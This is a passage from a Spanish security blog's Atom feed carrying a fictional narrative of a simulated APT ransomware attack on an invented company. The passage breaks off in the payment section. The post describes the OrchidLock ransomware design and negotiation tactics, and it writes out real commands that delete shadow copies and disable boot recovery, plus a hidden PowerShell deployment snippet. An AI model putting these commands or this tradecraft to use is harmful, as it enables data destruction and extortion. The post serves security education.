<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9133539773684103848</id><updated>2026-06-08T21:43:19.330+02:00</updated><category term="herramientas"/><category term="vulnerabilidades"/><category term="técnicas"/><category term="malware"/><category term="noticias"/><category term="Windows"/><category term="red team"/><category term="linux"/><category term="amenazas"/><category term="redes"/><category term="python"/><category term="recopilatorios"/><category term="videos"/><category term="tutoriales"/><category term="curiosidades"/><category term="retos"/><category term="código abierto"/><category term="eventos"/><category term="exploits"/><category term="pentest"/><category term="android"/><category term="recursos"/><category term="seguridad web"/><category term="hardware"/><category term="fortificación"/><category term="hacktivismo"/><category term="metasploit"/><category term="forense"/><category term="cifrado"/><category term="ingeniería inversa"/><category term="powershell"/><category term="0 day"/><category term="recomendaciones"/><category term="privacidad"/><category term="anonimato"/><category term="contramedidas"/><category term="magazines"/><category term="programación"/><category term="antivirus"/><category term="cracking"/><category term="writeups"/><category term="esteganografía"/><category term="libros"/><category term="post-explotación"/><category term="escalado de privilegios"/><category term="gadgets"/><category term="ransomware"/><category term="dos"/><category term="formación"/><category term="apple"/><category term="leak"/><category term="h-c0n"/><category term="backdoor"/><category term="raspberry pi"/><category term="series"/><category term="humor"/><category term="Go"/><category term="bypass"/><category term="hacking"/><category term="utilidades"/><category term="Internet de las cosas"/><category term="ctf"/><category term="pwned"/><category term="contraseñas"/><category term="exploiting"/><category term="poc"/><category term="tor"/><category term="C#"/><category term="criptografia"/><category term="firewalls"/><category term="maldev"/><category term="IA"/><category term="OSCP"/><category term="concursos"/><category term="encuestas"/><category term="exfiltración de datos"/><category term="hackthebox"/><category term="reversing"/><category term="C"/><category term="blue team"/><category term="ciberguerra"/><category term="phishing"/><category term="wi-fi"/><category term="bug bounty"/><category term="contribuciones"/><category term="edr"/><category term="infografías"/><category term="DA"/><category term="Deep Web"/><category term="c2"/><category term="docker"/><category term="honeypots"/><category term="relatos"/><category term="certificaciones"/><category term="inteligencia artificial"/><category term="inyecciones SQL"/><category term="lock picking"/><category term="threat hunting"/><category term="vpn"/><category term="AI"/><category term="Directorio Activo"/><category term="IoT"/><category term="WhatsApp"/><category term="bash"/><category term="bof"/><category term="defaces"/><category term="laboratorio"/><category term="metadatos"/><category term="ruby"/><category term="threat intelligence"/><category term="trucos"/><category term="virtualización"/><category term="wireless"/><category term="conferencia"/><category term="drones"/><category term="evasion"/><category term="labs"/><category term="php"/><category term="pivoting"/><category term="reverse shell"/><category term="rootkits"/><category term=".NET"/><category term="ICS"/><category term="SCADA"/><category term="boot2root"/><category term="entrevistas"/><category term="fuerza bruta"/><category term="ingenieria social"/><category term="legislación"/><category term="metodologías"/><category term="reconocimiento"/><category term="seguridad gestionada"/><category term="webshells"/><category term="APT"/><category term="LLM"/><category term="base de datos"/><category term="dns"/><category term="espionaje"/><category term="java"/><category term="off-topic"/><category term="rust"/><category term="xss"/><category term="anonymous"/><category term="bitcoins"/><category term="captchas"/><category term="censura"/><category term="cloud"/><category term="keyloggers"/><category term="persistencia"/><category term="taller"/><category term="NFC"/><category term="Twitter"/><category term="botnet"/><category term="cibercrimen"/><category term="ciberinteligencia"/><category term="ciberseguridad"/><category term="comunicaciones"/><category term="credenciales"/><category term="dark web"/><category term="empire"/><category term="flash"/><category term="geolocalización"/><category term="investigaciones"/><category term="ipv6"/><category term="javascript"/><category term="juegos"/><category term="normativas"/><category term="payloads"/><category term="radio"/><category term="shodan"/><category term="waf"/><category term="ROP"/><category term="bloodhound"/><category term="c++"/><category term="crowdfunding"/><category term="código fuente"/><category term="dfir"/><category term="movilidad"/><category term="móvil"/><category term="nodejs"/><category term="ofuscadas"/><category term="opinión"/><category term="películas"/><category term="rce"/><category term="wikileaks"/><category term="OT"/><category term="análisis"/><category term="arduino"/><category term="charlas"/><category term="cheatsheets"/><category term="ciberseguridad industrial"/><category term="enumeración"/><category term="explotación"/><category term="foca"/><category term="hoax"/><category term="jailbreak"/><category term="latch"/><category term="osint"/><category term="papers"/><category term="perl"/><category term="proxmox"/><category term="serialización"/><category term="sistemas operativos"/><category term="software libre"/><category term="telegram"/><category term="wordpress"/><category term="Applocker"/><category term="CLR"/><category term="COR"/><category term="Defcon"/><category term="FUD"/><category term="LFI"/><category term="Onion"/><category term="Profiler"/><category term="ansible"/><category term="backup"/><category term="badusb"/><category term="bancos"/><category term="bios"/><category term="bluetooth"/><category term="boot"/><category term="comunidad"/><category term="condición de carrera"/><category term="contenedores"/><category term="crypters"/><category term="crystal"/><category term="ddos"/><category term="deepfake"/><category term="documentales"/><category term="domótica"/><category term="drupal"/><category term="electrónica"/><category term="excel"/><category term="fuzzing"/><category term="git"/><category term="hashes"/><category term="ids"/><category term="lua"/><category term="maldoc"/><category term="maps"/><category term="misc"/><category term="navegador"/><category term="podcast"/><category term="promociones"/><category term="redes neuronales"/><category term="responsible disclosure"/><category term="retro"/><category term="robótica"/><category term="seguridad física"/><category term="shellcode"/><category term="ssh"/><category term="trabajo"/><category term="trivial"/><category term="voip"/><category term="vulnhub"/><category term="wifi"/><category term="AWS"/><category term="AiTM"/><category term="AutoIt"/><category term="Azure"/><category term="COM"/><category term="CyberChef"/><category term="DIY"/><category term="DLP"/><category term="DORA"/><category term="Defender"/><category term="ESMA"/><category term="Exchange"/><category term="Internet"/><category term="LPE"/><category term="MCP"/><category term="MITRE"/><category term="MOOC"/><category term="RFP"/><category term="RTS"/><category term="SEO"/><category term="SIEM"/><category term="SSL"/><category term="Stuxnet"/><category term="TLPT"/><category term="TTPs"/><category term="TTS"/><category term="WMI"/><category term="Xen"/><category term="academy"/><category term="agente"/><category term="asm"/><category term="badges"/><category term="bilingual-post"/><category term="biohacking"/><category term="bitlocker"/><category term="blockchain"/><category term="bootkit"/><category term="brainfuck"/><category term="brechas"/><category term="bullying"/><category term="burp"/><category term="call for papers"/><category term="canape"/><category term="car hacking"/><category term="ciberejercicios"/><category term="ciencia"/><category term="clonación de voz"/><category term="cobaltstrike"/><category term="comunicacion"/><category term="concienciación"/><category term="control parental"/><category term="covert channel"/><category term="cripto"/><category term="cyberpunk"/><category term="cyberwar"/><category term="delphi"/><category term="detección"/><category term="devops"/><category term="dorks"/><category term="downgrade"/><category term="dpi"/><category term="e-zines"/><category term="embodied AI"/><category term="empleo"/><category term="ensamblador"/><category term="entraID"/><category term="expresiones regulares"/><category term="firebase"/><category term="firmware"/><category term="foro"/><category term="frameworks"/><category term="fraude"/><category term="frikismo"/><category term="gamers"/><category term="geek"/><category term="geopolítica"/><category term="hardware hacking"/><category term="hibrido"/><category term="hijacking"/><category term="htb"/><category term="huevos de pascua"/><category term="iOS"/><category term="impresión 3d"/><category term="incident response"/><category term="infraestructuras críticas"/><category term="internals"/><category term="iocs"/><category term="ironpython"/><category term="joomla"/><category term="lolbins"/><category term="machine learning"/><category term="memory corruption"/><category term="militar"/><category term="newbie"/><category term="nim"/><category term="old but gold"/><category term="opsec"/><category term="pederastia"/><category term="perifericos"/><category term="pki"/><category term="prank"/><category term="prompts"/><category term="purple team"/><category term="rat"/><category term="redteam"/><category term="regalos"/><category term="relay"/><category term="revisión de código"/><category term="rfid"/><category term="riesgos"/><category term="routers"/><category term="rsa"/><category term="sap"/><category term="satelites"/><category term="satélites"/><category term="script"/><category term="sexting"/><category term="shell"/><category term="sinkholing"/><category term="solar"/><category term="spam"/><category term="ss7"/><category term="supercomputación"/><category term="supply chain attack"/><category term="tendencias"/><category term="terraform"/><category term="threat actor"/><category term="tracking"/><category term="uac"/><category term="uefi"/><category term="underground"/><category term="unix"/><category term="use-after-free"/><category term="uxss"/><category term="vagrant"/><category term="vba"/><category term="videojuegos"/><category term="vigenere"/><category term="volatility"/><category term="xbox"/><category term="xxe"/><category term="yara"/><title type='text'>~#hackplayers</title><subtitle type='html'>Computer security, ethical hacking and more!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://www.hackplayers.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default?max-results=10'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default?start-index=11&amp;max-results=10'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>2511</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>10</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-3270598728347079786</id><published>2026-06-04T00:21:42.948+02:00</published><updated>2026-06-04T00:24:05.792+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="APT"/><category scheme="http://www.blogger.com/atom/ns#" term="cripto"/><category scheme="http://www.blogger.com/atom/ns#" term="maldev"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="ransomware"/><title type='text'>Anatomía de una APT simulada. Parte 4 - La noche del cifrado, la negociación y el reparto</title><content type='html'>El domingo a las 02:15, IberLogix todavía existía como empresa normal.

A las 02:16, empezó a convertirse en un caso.

Los primeros servidores en caer fueron los de ficheros regionales. No se apagaron. No mostraron pantallazos dramáticos. Simplemente empezaron a transformar documentos en ruido matemático. Los nombres cambiaban. Las extensiones aparecían como pequeñas banderas negras:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Contrato_Marco_TransIber.pdf.orchid
Nominas_Marzo_2026.xlsx.orchid
SAP_Proveedores_Q1.csv.orchid
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

En cada directorio quedaba una nota:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;RESTORE-FILES-IBERLOGIX.txt
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El texto era sobrio:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Your network has been encrypted by Nebula Jackal.
We have also downloaded sensitive company data.

Do not modify encrypted files.
Do not contact recovery companies before reading this message.
Do not attempt to hide the incident from stakeholders.

Portal:
http://[redacted].onion/iberlogix

Your private code:
IBX-7F3A-22C1
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

La nota no era el ataque. Era el final visible de un ataque que llevaba semanas ocurriendo.&amp;nbsp;&lt;h4 style=&quot;text-align: left;&quot;&gt;OrchidLock: ransomware como sistema de producción&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Nadir había escrito OrchidLock en Rust. No por moda, sino por tres razones: rendimiento, control de memoria y despliegue estático sencillo. El binario era diferente por víctima. Cada build incluye:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;campaign_id
victim_id
public_key
extension
exclusion list
service kill list
share targeting config
operator signature
expiration date
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El ransomware no contenía la clave privada. Nunca. Usaba cifrado híbrido:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Por archivo:
  file_key = random 256-bit
  nonce = random 96-bit
  encrypt(file, ChaCha20-Poly1305, file_key, nonce)

Por víctima:
  wrapped_key = X25519/ECDH + HKDF + AEAD(public_key_campaign, file_key)
  append metadata footer
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Footer conceptual:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;ORCHIDLOCKv3
victim_id: 16 bytes
file_id: 16 bytes
nonce: 12 bytes
wrapped_key_len: 2 bytes
wrapped_key: n bytes
tag: 16 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El flujo:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;for target in enumerate_targets(config) {
    if is_excluded(target) { continue; }
    if is_large_file(target) {
        encrypt_chunks(target);
    } else {
        encrypt_full(target);
    }
    write_note_once_per_directory(target.parent());
    report_progress(target);
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La lista de exclusiones evitaba romper el arranque:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;C:\Windows
C:\Program Files
C:\Program Files (x86)
C:\ProgramData\Microsoft\Windows Defender
bootmgr
ntldr
pagefile.sys
hiberfil.sys
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La lista de procesos a detener era quirúrgica:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;sqlservr.exe
oracle.exe
veeam.backup.shell.exe
Veeam.Backup.Service.exe
msmdsrv.exe
outlook.exe
excel.exe
winword.exe
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Servicios:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;MSSQLSERVER
SQLSERVERAGENT
VeeamBackupSvc
VSS
OracleService*
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Comandos internos equivalentes:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

No todos se ejecutaban siempre. El config decidía por host. En servidores críticos, OrchidLock reducía agresividad para mantenerlos arrancables. En estaciones, cifraba más ampliamente.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Despliegue: GPO, SCCM y shares&amp;nbsp;&lt;/h4&gt;&lt;div&gt;El binario llegó por tres rutas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. GPO startup script para workstations seleccionadas
2. PsExec/SMB para servidores con acceso directo
3. SCCM package preparado como fallback
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Script de despliegue conceptual:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;$src = &quot;\\dc-mad-01\SYSVOL\IBERLOGIX.LOCAL\scripts\orchid.dat&quot;
$dst = &quot;C:\ProgramData\Microsoft\Crypto\orchid.exe&quot;
Copy-Item $src $dst -Force
Start-Process $dst -ArgumentList &quot;--config embedded --mode local&quot; -WindowStyle Hidden
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

En shares, OrchidLock podía cifrar por UNC:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;\\fs-mad-04\finance
\\sap-share-01\exports
\\legal-mad-01\cases
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El panel mostraba progreso:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;IBX-7F3A-22C1
Hosts enrolled: 1432
Hosts active encryption: 612
Files encrypted: 18,442,901
Bytes encrypted: 74.3 TB
Notes written: 91,204
Errors: 3.8%
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El ransomware reportaba en intervalos. No cada archivo. Demasiado ruido. Cada host enviaba resumen:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;host&quot;: &quot;FS-MAD-04&quot;,
  &quot;status&quot;: &quot;running&quot;,
  &quot;files_done&quot;: 184203,
  &quot;bytes_done&quot;: 98234122112,
  &quot;errors&quot;: 391,
  &quot;elapsed&quot;: 1840
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

A las 03:02, el NOC de IberLogix vio errores masivos en shares.

A las 03:11, helpdesk recibió llamadas de usuarios en México que aun estaban trabajando.

A las 03:22, un administrador intentó restaurar un archivo y descubrió que parte de los repositorios Veeam no respondían.

A las 03:40, el CISO fue despertado.

A las 04:05, Vesper abrió el portal de negociación.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;El portal: teatro, prueba y control&amp;nbsp;&lt;/h4&gt;&lt;div&gt;El portal Tor de Nebula Jackal no parecía una web de pelicula. Parecía un SaaS barato:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhytty0FnunxfCs_Farr6sH0bgnLk77mUZ2RerT0rrMhRKPrvLxD05X8mTml_OL1eEDbfdMASzoiQ-FLuupkuRNDBG10xyLmv4NN58w28tWxLAm1T_6bukBLs-uJ7vauECBF7asN3a0bWkUDVkiMXBPHOeEeWAGEgelnYDY_lOuewucYGed7R1DaM84v3Pv/s1536/nebulajackal_panel.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhytty0FnunxfCs_Farr6sH0bgnLk77mUZ2RerT0rrMhRKPrvLxD05X8mTml_OL1eEDbfdMASzoiQ-FLuupkuRNDBG10xyLmv4NN58w28tWxLAm1T_6bukBLs-uJ7vauECBF7asN3a0bWkUDVkiMXBPHOeEeWAGEgelnYDY_lOuewucYGed7R1DaM84v3Pv/w640-h426/nebulajackal_panel.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;

Incluía:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Chat
File decrypt test
Data proof browser
FAQ
Payment instructions
Countdown
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La prueba de datos estaba calculada. No publicaban todo. Mostraban lo suficiente:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;10 nominas anonimizadas parcialmente
3 contratos con proveedores
1 documento de seguro ciber
2 capturas de buzones ejecutivos
Listado de directorios legal/finance
Hash manifest de lotes exfiltrados
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Vesper escribió:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;We are not interested in damaging your operations beyond what is necessary.
You have two problems:
1. Encrypted systems.
2. Confidential data exposure.

Both can be solved here.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El tono era deliberado: no rabia, no insultos, no caos. Control.

IberLogix pidií prueba de descifrado. Subieron tres archivos cifrados. Nebula Jackal devolvió dos descifrados y rechazo uno:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Two files decrypted as proof.
Third file rejected: contains legal data. Choose non-sensitive sample.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Ese detalle parecía profesionalidad. También reforzaba una idea: los atacantes habían visto sus documentos.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Negociación: matemática emocional&amp;nbsp;&lt;/h4&gt;&lt;div&gt;La demanda inicial fue 9 millones USD. The Curator ya había definido el suelo: 4.8 millones.

La cifra no salió al azar. Mint y Magpie habían estimado:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Revenue: high
Cyber insurance limit: 10M
Operational downtime cost/day: 1.2M - 2.4M
Regulatory exposure: high
Data sensitivity: high
Backup recovery: partial
PR risk: high
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Modelo interno:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;initial_demand = min(insurance_limit * 0.9, estimated_5_day_loss * 1.1)
floor = max(cashout_target / payment_probability, 0.45 * initial_demand)
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Vesper nunca mencionó el seguro al principio. Esperó a que IberLogix dijera que necesitaba tiempo. Entonces escribió:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Your insurance documentation is part of the downloaded data.
We know delay is a negotiation tactic.
The publication timer is not.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El equipo legal de IberLogix intentó ganar días. Vesper concedió 24 horas a cambio de aumentar prueba de vida: otra muestra descifrada y un árbol de directorios más amplio. La negociación bajó a 6.5M, luego a 5.2M, y finalmente a 4.8M con dos condiciones:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Decryptor funcional para todos los sistemas afectados.
2. Eliminacion de datos exfiltrados y no publicacion.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Nebula Jackal entregaría un &quot;delete log&quot;. Nadie podía verificar realmente que los datos se borrasen. La promesa era parte del teatro. En doble extorsión, el pago compra probabilidad, no certeza.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;El pago: la linea que nunca debe ser recta&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Mint generó una direccion BTC única para IberLogix:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;bc1q-ibx-campaign-unique-address
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Internamente, la wallet estaba etiquetada:

